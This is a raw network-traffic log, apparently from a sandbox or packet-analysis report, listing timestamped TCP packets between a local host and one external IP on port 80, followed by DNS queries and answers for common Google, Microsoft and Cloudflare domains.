Nov 24, 2024 04:20:51.844670057 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.844965935 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.845066071 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.845128059 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.845171928 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.845788956 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.845880985 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.845930099 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.846649885 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.846695900 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.846749067 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.846788883 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.847423077 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.847470045 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.847532034 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.847573042 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.848236084 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.848293066 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.848351955 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.848391056 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.849050999 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.849201918 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.849214077 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.849241018 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.849891901 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.849946976 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.850022078 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.850780964 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.850817919 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.850837946 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.850872993 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.851349115 CET	443	49891	23.209.72.31	192.168.2.6
Nov 24, 2024 04:20:51.851586103 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.851633072 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.851713896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.851777077 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.852385998 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.852444887 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.852472067 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.852546930 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.853269100 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.853311062 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.853328943 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.853429079 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.853974104 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.854027033 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.854094028 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.854156017 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.854827881 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.854882956 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.854948044 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.855004072 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.855619907 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.855673075 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.855715990 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.855768919 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.856446028 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.856499910 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.856570959 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.856895924 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.857256889 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.857314110 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.857357025 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.857418060 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.858081102 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.858141899 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.858180046 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.858227968 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.858895063 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.858953953 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.859014034 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.859736919 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.859802961 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.859844923 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.859889984 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.860553026 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.860615015 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.860707998 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.860768080 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.861361027 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.861427069 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.861489058 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.862181902 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.862221956 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.862231016 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.862354040 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.862993956 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.863063097 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.863074064 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.863176107 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.863836050 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.863909960 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.863948107 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.864008904 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.864623070 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.864689112 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.864731073 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.864800930 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.865449905 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.865506887 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.865550041 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.865597963 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.866241932 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.866297007 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.866372108 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.866425037 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.867113113 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.867168903 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.867211103 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.867276907 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.867933035 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.867989063 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.868036985 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.868091106 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.868761063 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.868818045 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.868875027 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.868932962 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.869569063 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.869699001 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.869755983 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.869846106 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.870359898 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.870434999 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.870501995 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.870564938 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.871222973 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.871279001 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.871372938 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.871426105 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.872047901 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.872106075 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.872169971 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.872262955 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.872854948 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.872963905 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.873080015 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.873709917 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.873796940 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.873833895 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.873883009 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.874496937 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.874557972 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.874605894 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.874695063 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.875345945 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.875401974 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.875438929 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.875463963 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.876151085 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.876239061 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.876429081 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.876974106 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.877029896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.877104998 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.877789021 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.877856970 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.877922058 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.877969980 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.878597021 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.878678083 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.878719091 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.878814936 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.879409075 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.879522085 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.879582882 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.880208015 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.880275011 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.880327940 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.880383015 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.881021023 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.881119967 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.881138086 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.881181002 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.881854057 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.881937981 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.881987095 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.882039070 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.882668972 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.882738113 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.882797003 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.883554935 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.883621931 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.883691072 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.883737087 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.884308100 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.884377003 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.884439945 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.884501934 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.885108948 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.885169029 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.885226011 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.885370970 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.885943890 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.886013031 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.886059046 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.886127949 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.886773109 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.886827946 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.054749966 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.054805994 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.054883957 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.055125952 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.055246115 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.055299997 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.056107998 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.056164026 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.056168079 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.056281090 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.056741953 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.056799889 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.056832075 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.056890011 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.057537079 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.057593107 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.057646036 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.057688951 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.058370113 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.058423996 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.058502913 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.058551073 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.059184074 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.059237003 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.059298038 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.059442043 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.059992075 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.060106993 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.060157061 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.060837030 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.060900927 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.060941935 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.061039925 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.061641932 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.061755896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.061857939 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.062454939 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.062505007 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.062572956 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.063290119 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.063419104 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.063469887 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.064107895 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.064220905 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.064244032 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.064259052 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.064934969 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.065025091 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.065082073 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.065749884 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.065804958 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.065838099 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.065880060 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.066554070 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.066611052 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.066699028 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.066823959 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.067368031 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.067482948 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.067538977 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.068192959 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.068240881 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:52.068249941 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.068355083 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:52.069010973 CET	80	49835	185.215.113.206	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2024 04:20:26.411199093 CET	192.168.2.6	1.1.1.1	0x604a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:26.411423922 CET	192.168.2.6	1.1.1.1	0x685b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 24, 2024 04:20:33.245347977 CET	192.168.2.6	1.1.1.1	0x4d32	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:33.245662928 CET	192.168.2.6	1.1.1.1	0xf81e	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 24, 2024 04:20:34.241475105 CET	192.168.2.6	1.1.1.1	0x90a4	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:34.241635084 CET	192.168.2.6	1.1.1.1	0x48cf	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 24, 2024 04:20:37.807337999 CET	192.168.2.6	1.1.1.1	0x7e4	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:37.807688951 CET	192.168.2.6	1.1.1.1	0xc932	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 24, 2024 04:20:40.195080042 CET	192.168.2.6	1.1.1.1	0x709c	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:40.195492983 CET	192.168.2.6	1.1.1.1	0xbb39	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 24, 2024 04:20:40.780559063 CET	192.168.2.6	1.1.1.1	0x595a	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:40.780807018 CET	192.168.2.6	1.1.1.1	0x62bf	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 24, 2024 04:20:42.712380886 CET	192.168.2.6	1.1.1.1	0xbf4b	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:42.712604046 CET	192.168.2.6	1.1.1.1	0xef1c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 04:20:42.713154078 CET	192.168.2.6	1.1.1.1	0xa1fb	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:42.713560104 CET	192.168.2.6	1.1.1.1	0x819	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 04:20:42.731023073 CET	192.168.2.6	1.1.1.1	0x9d69	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:42.731343985 CET	192.168.2.6	1.1.1.1	0x708a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 04:20:45.721695900 CET	192.168.2.6	1.1.1.1	0x9b08	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:45.721837044 CET	192.168.2.6	1.1.1.1	0x2fdc	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 24, 2024 04:20:45.722564936 CET	192.168.2.6	1.1.1.1	0x2dc2	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:45.722851992 CET	192.168.2.6	1.1.1.1	0xb83b	Standard query (0)	assets.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 24, 2024 04:20:26.548446894 CET	1.1.1.1	192.168.2.6	0x604a	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:26.548461914 CET	1.1.1.1	192.168.2.6	0x685b	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 24, 2024 04:20:33.383518934 CET	1.1.1.1	192.168.2.6	0x4d32	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:20:33.383518934 CET	1.1.1.1	192.168.2.6	0x4d32	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:33.481889963 CET	1.1.1.1	192.168.2.6	0xf81e	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:20:34.378247023 CET	1.1.1.1	192.168.2.6	0x90a4	No error (0)	play.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:37.944942951 CET	1.1.1.1	192.168.2.6	0xc932	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:20:37.946229935 CET	1.1.1.1	192.168.2.6	0x7e4	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:20:37.995271921 CET	1.1.1.1	192.168.2.6	0xaf8d	No error (0)	svc.ha-teams.office.com	svc.ms-acdc-teams.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:20:38.542923927 CET	1.1.1.1	192.168.2.6	0x4f22	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:20:38.542923927 CET	1.1.1.1	192.168.2.6	0x4f22	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:20:38.550273895 CET	1.1.1.1	192.168.2.6	0xa874	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:20:40.332165956 CET	1.1.1.1	192.168.2.6	0x709c	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:20:40.333089113 CET	1.1.1.1	192.168.2.6	0xbb39	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 04:20:40.918469906 CET	1.1.1.1	192.168.2.6	0x595a	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
